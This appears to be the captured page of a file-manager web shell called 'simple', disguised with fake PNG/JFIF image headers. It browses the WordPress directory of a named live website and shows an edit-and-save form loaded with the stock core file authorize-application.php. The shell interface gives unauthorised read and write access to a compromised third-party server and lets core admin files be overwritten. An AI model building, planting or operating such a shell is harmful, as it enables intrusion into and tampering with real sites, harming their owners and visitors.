�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2F'>www.immokaernten.at</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2Fwp-admin%2F'>wp-admin</a>/</p><hr><h3>✏️ Editing: authorize-application.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * Authorize Application Screen
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . &#039;/admin.php&#039;;

$error        = null;
$new_password = &#039;&#039;;

// This is the no-js fallback script. Generally this will all be handled by `auth-app.js`.
if ( isset( $_POST[&#039;action&#039;] ) &amp;&amp; &#039;authorize_application_password&#039; === $_POST[&#039;action&#039;] ) {
	check_admin_referer( &#039;authorize_application_password&#039; );

	$success_url = $_POST[&#039;success_url&#039;];
	$reject_url  = $_POST[&#039;reject_url&#039;];
	$app_name    = $_POST[&#039;app_name&#039;];
	$app_id      = $_POST[&#039;app_id&#039;];
	$redirect    = &#039;&#039;;

	if ( isset( $_POST[&#039;reject&#039;] ) ) {
		if ( $reject_url ) {
			$redirect = $reject_url;
		} else {
			$redirect = admin_url();
		}
	} elseif ( isset( $_POST[&#039;approve&#039;] ) ) {
		$created = WP_Application_Passwords::create_new_application_password(
			get_current_user_id(),
			array(
				&#039;name&#039;   =&gt; $app_name,
				&#039;app_id&#039; =&gt; $app_id,
			)
		);

		if ( is_wp_error( $created ) ) {
			$error = $created;
		} else {
			list( $new_password ) = $created;

			if ( $success_url ) {
				$redirect = add_query_arg(
					array(
						&#039;site_url&#039;   =&gt; urlencode( site_url() ),
						&#039;user_login&#039; =&gt; urlencode( wp_get_current_user()-&gt;user_login ),
						&#039;password&#039;   =&gt; urlencode( $new_password ),
					),
					$success_url
				);
			}
		}
	}

	if ( $redirect ) {
		// Explicitly not using wp_safe_redirect b/c sends to arbitrary domain.
		wp_redirect( $redirect );
		exit;
	}
}

// Used in the HTML title tag.
$title = __( &#039;Authorize Application&#039; );

$app_name    = ! empty( $_REQUEST[&#039;app_name&#039;] ) ? $_REQUEST[&#039;app_name&#039;] : &#039;&#039;;
$app_id      = ! empty( $_REQUEST[&#039;app_id&#039;] ) ? $_REQUEST[&#039;app_id&#039;] : &#039;&#039;;
$success_url = ! empty( $_REQUEST[&#039;success_url&#039;] ) ? $_REQUEST[&#039;success_url&#039;] : null;

if ( ! empty( $_REQUEST[&#039;reject_url&#039;] ) ) {
	$reject_url = $_REQUEST[&#039;reject_url&#039;];
} elseif ( $success_url ) {
	$reject_url = add_query_arg( &#039;success&#039;, &#039;false&#039;, $success_url );
} else {
	$reject_url = null;
}

$user = wp_get_current_user();

$request  = compact( &#039;app_name&#039;, &#039;app_id&#039;, &#039;success_url&#039;, &#039;reject_url&#039; );
$is_valid = wp_is_authorize_application_password_request_valid( $request, $user );

if ( is_wp_error( $is_valid ) ) {
	wp_die(
		__( &#039;The Authorize Application request is not allowed.&#039; ) . &#039; &#039; . implode( &#039; &#039;, $is_valid-&gt;get_error_messages() ),
		__( &#039;Cannot Authorize Application&#039; )
	);
}

if ( wp_is_site_protected_by_basic_auth( &#039;front&#039; ) ) {
	wp_die(
		__( &#039;Your website appears to use Basic Authentication, which is not currently compatible with application passwords.&#039; ),
		__( &#039;Cannot Authorize Application&#039; ),
		array(
			&#039;response&#039;  =&gt; 501,
			&#039;link_text&#039; =&gt; __( &#039;Go Back&#039; ),
			&#039;link_url&#039;  =&gt; $reject_url ? add_query_arg( &#039;error&#039;, &#039;disabled&#039;, $reject_url ) : admin_url(),
		)
	);
}

if ( ! wp_is_application_passwords_available_for_user( $user ) ) {
	if ( wp_is_application_passwords_available() ) {
		$message = __( &#039;Application passwords are not available for your account. Please contact the site administrator for assistance.&#039; );
	} else {
		$message = __( &#039;Application passwords are not available.&#039; );
	}

	wp_die(
		$message,
		__( &#039;Cannot Authorize Application&#039; ),
		array(
			&#039;response&#039;  =&gt; 501,
			&#039;link_text&#039; =&gt; __( &#039;Go Back&#039; ),
			&#039;link_url&#039;  =&gt; $reject_url ? add_query_arg( &#039;error&#039;, &#039;disabled&#039;, $reject_url ) : admin_url(),
		)
	);
}

wp_enqueue_script( &#039;auth-app&#039; );
wp_localize_script(
	&#039;auth-app&#039;,
	&#039;authApp&#039;,
	array(
		&#039;site_url&#039;   =&gt; site_url(),
		&#039;user_login&#039; =&gt; $user-&gt;user_login,
		&#039;success&#039;    =&gt; $success_url,
		&#039;reject&#039;     =&gt; $reject_url ? $reject_url : admin_url(),
	)
);

require_once ABSPATH . &#039;wp-admin/admin-header.php&#039;;

?&gt;
&lt;div class=&quot;wrap&quot;&gt;
	&lt;h1&gt;&lt;?php echo esc_html( $title ); ?&gt;&lt;/h1&gt;

	&lt;?php
	if ( is_wp_error( $error ) ) {
		wp_admin_notice(
			$error-&gt;get_error_message(),
			array(
				&#039;type&#039; =&gt; &#039;error&#039;,
			)
		);
	}
	?&gt;

	&lt;div class=&quot;card auth-app-card&quot;&gt;
		&lt;h2 class=&quot;title&quot;&gt;&lt;?php _e( &#039;An application would like to connect to your account.&#039; ); ?&gt;&lt;/h2&gt;
		&lt;?php if ( $app_name ) : ?&gt;
			&lt;p&gt;
				&lt;?php
				printf(
					/* translators: %s: Application name. */
					__( &#039;Would you like to give the application identifying itself as %s access to your account? You should only do this if you trust the application in question.&#039; ),
					&#039;&lt;strong&gt;&#039; . esc_html( $app_name ) . &#039;&lt;/strong&gt;&#039;
				);
				?&gt;
			&lt;/p&gt;
		&lt;?php else : ?&gt;
			&lt;p&gt;&lt;?php _e( &#039;Would you like to give this application access to your account? You should only do this if you trust the application in question.&#039; ); ?&gt;&lt;/p&gt;
		&lt;?php endif; ?&gt;

		&lt;?php
		if ( is_multisite() ) {
			$blogs       = get_blogs_of_user( $user-&gt;ID, true );
			$blogs_count = count( $blogs );

			if ( $blogs_count &gt; 1 ) {
				?&gt;
				&lt;p&gt;
					&lt;?php
					/* translators: 1: URL to my-sites.php, 2: Number of sites the user has. */
					$message = _n(
						&#039;This will grant access to &lt;a href=&quot;%1$s&quot;&gt;the %2$s site in this installation that you have permissions on&lt;/a&gt;.&#039;,
						&#039;This will grant access to &lt;a href=&quot;%1$s&quot;&gt;all %2$s sites in this installation that you have permissions on&lt;/a&gt;.&#039;,
						$blogs_count
					);

					if ( is_super_admin() ) {
						/* translators: 1: URL to my-sites.php, 2: Number of sites the user has. */
						$message = _n(
							&#039;This will grant access to &lt;a href=&quot;%1$s&quot;&gt;the %2$s site on the network as you have Super Admin rights&lt;/a&gt;.&#039;,
							&#039;This will grant access to &lt;a href=&quot;%1$s&quot;&gt;all %2$s sites on the network as you have Super Admin rights&lt;/a&gt;.&#039;,
							$blogs_count
						);
					}

					printf(
						$message,
						admin_url( &#039;my-sites.php&#039; ),
						number_format_i18n( $blogs_count )
					);
					?&gt;
				&lt;/p&gt;
				&lt;?php
			}
		}
		?&gt;

		&lt;?php
		if ( $new_password ) :
			$message = &#039;&lt;p class=&quot;application-password-display&quot;&gt;
				&lt;label for=&quot;new-application-password-value&quot;&gt;&#039; . sprintf(
				/* translators: %s: Application name. */
				esc_html__( &#039;Your new password for %s is:&#039; ),
				&#039;&lt;strong&gt;&#039; . esc_html( $app_name ) . &#039;&lt;/strong&gt;&#039;
			) . &#039;
				&lt;/label&gt;
				&lt;input id=&quot;new-application-password-value&quot; type=&quot;text&quot; class=&quot;code&quot; readonly=&quot;readonly&quot; value=&quot;&#039; . esc_attr( WP_Application_Passwords::chunk_password( $new_password ) ) . &#039;&quot; /&gt;
			&lt;/p&gt;
			&lt;p&gt;&#039; . __( &#039;Be sure to save this in a safe location. You will not be able to retrieve it.&#039; ) . &#039;&lt;/p&gt;&#039;;
			$args = array(
				&#039;type&#039;               =&gt; &#039;success&#039;,
				&#039;additional_classes&#039; =&gt; array( &#039;notice-alt&#039;, &#039;below-h2&#039; ),
				&#039;paragraph_wrap&#039;     =&gt; false,
			);
			wp_admin_notice( $message, $args );

			/**
			 * Fires in the Authorize Application Password new password section in the no-JS version.
			 *
			 * In most cases, this should be used in combination with the {@see &#039;wp_application_passwords_approve_app_request_success&#039;}
			 * action to ensure that both the JS and no-JS variants are handled.
			 *
			 * @since 5.6.0
			 * @since 5.6.1 Corrected action name and signature.
			 *
			 * @param string  $new_password The newly generated application password.
			 * @param array   $request      The array of request data. All arguments are optional and may be empty.
			 * @param WP_User $user         The user authorizing the application.
			 */
			do_action( &#039;wp_authorize_application_password_form_approved_no_js&#039;, $new_password, $request, $user );
		else :
			?&gt;
			&lt;form action=&quot;&lt;?php echo esc_url( admin_url( &#039;authorize-application.php&#039; ) ); ?&gt;&quot; method=&quot;post&quot; class=&quot;form-wrap&quot;&gt;
				&lt;?php wp_nonce_field( &#039;authorize_application_password&#039; ); ?&gt;
				&lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;authorize_application_password&quot; /&gt;
				&lt;input type=&quot;hidden&quot; name=&quot;app_id&quot; value=&quot;&lt;?php echo esc_attr( $app_id ); ?&gt;&quot; /&gt;
				&lt;input type=&quot;hidden&quot; name=&quot;success_url&quot; value=&quot;&lt;?php echo esc_url( $success_url ); ?&gt;&quot; /&gt;
				&lt;input type=&quot;hidden&quot; name=&quot;reject_url&quot; value=&quot;&lt;?php echo esc_url( $reject_url ); ?&gt;&quot; /&gt;

				&lt;div class=&quot;form-field&quot;&gt;
					&lt;label for=&quot;app_name&quot;&gt;&lt;?php _e( &#039;New Application Password Name&#039; ); ?&gt;&lt;/label&gt;
					&lt;input type=&quot;text&quot; id=&quot;app_name&quot; name=&quot;app_name&quot; value=&quot;&lt;?php echo esc_attr( $app_name ); ?&gt;&quot; required /&gt;
				&lt;/div&gt;

				&lt;?php
				/**
				 * Fires in the Authorize Application Password form before the submit buttons.
				 *
				 * @since 5.6.0
				 *
				 * @param array   $request {
				 *     The array of request data. All arguments are optional and may be empty.
				 *
				 *     @type string $app_name    The suggested name of the application.
				 *     @type string $success_url The URL the user will be redirected to after approving the application.
				 *     @type string $reject_url  The URL the user will be redirected to after rejecting the application.
				 * }
				 * @param WP_User $user The user authorizing the application.
				 */
				do_action( &#039;wp_authorize_application_password_form&#039;, $request, $user );
				?&gt;

				&lt;?php
				submit_button(
					__( &#039;Yes, I approve of this connection&#039; ),
					&#039;primary&#039;,
					&#039;approve&#039;,
					false,
					array(
						&#039;aria-describedby&#039; =&gt; &#039;description-approve&#039;,
					)
				);
				?&gt;
				&lt;p class=&quot;description&quot; id=&quot;description-approve&quot;&gt;
					&lt;?php
					if ( $success_url ) {
						printf(
							/* translators: %s: The URL the user is being redirected to. */
							__( &#039;You will be sent to %s&#039; ),
							&#039;&lt;strong&gt;&lt;code&gt;&#039; . esc_html(
								add_query_arg(
									array(
										&#039;site_url&#039;   =&gt; site_url(),
										&#039;user_login&#039; =&gt; $user-&gt;user_login,
										&#039;password&#039;   =&gt; &#039;[------]&#039;,
									),
									$success_url
								)
							) . &#039;&lt;/code&gt;&lt;/strong&gt;&#039;
						);
					} else {
						_e( &#039;You will be given a password to manually enter into the application in question.&#039; );
					}
					?&gt;
				&lt;/p&gt;

				&lt;?php
				submit_button(
					__( &#039;No, I do not approve of this connection&#039; ),
					&#039;secondary&#039;,
					&#039;reject&#039;,
					false,
					array(
						&#039;aria-describedby&#039; =&gt; &#039;description-reject&#039;,
					)
				);
				?&gt;
				&lt;p class=&quot;description&quot; id=&quot;description-reject&quot;&gt;
					&lt;?php
					if ( $reject_url ) {
						printf(
							/* translators: %s: The URL the user is being redirected to. */
							__( &#039;You will be sent to %s&#039; ),
							&#039;&lt;strong&gt;&lt;code&gt;&#039; . esc_html( $reject_url ) . &#039;&lt;/code&gt;&lt;/strong&gt;&#039;
						);
					} else {
						_e( &#039;You will be returned to the WordPress Dashboard, and no changes will be made.&#039; );
					}
					?&gt;
				&lt;/p&gt;
			&lt;/form&gt;
		&lt;?php endif; ?&gt;
	&lt;/div&gt;
&lt;/div&gt;
&lt;?php

require_once ABSPATH . &#039;wp-admin/admin-footer.php&#039;;
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2Fwp-admin'>🔙 Back</a></p>